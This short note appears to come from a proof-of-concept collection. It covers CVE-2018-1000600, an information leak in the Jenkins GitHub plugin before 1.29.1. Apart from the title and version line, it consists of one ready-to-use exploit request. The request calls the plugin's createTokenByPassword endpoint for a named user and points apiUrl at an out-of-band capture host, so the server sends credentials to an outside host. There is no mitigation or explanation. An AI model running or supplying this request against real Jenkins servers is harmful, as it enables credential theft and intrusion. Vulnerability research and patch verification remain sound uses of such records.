CVE-2018-1000600 Jenkins GitHub Information Leak

Affected version

Jenkins GitHub plugin is less than 1.29.1

The POC used is as follows, where user1 is the user name.

/securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://xxx.ceye.io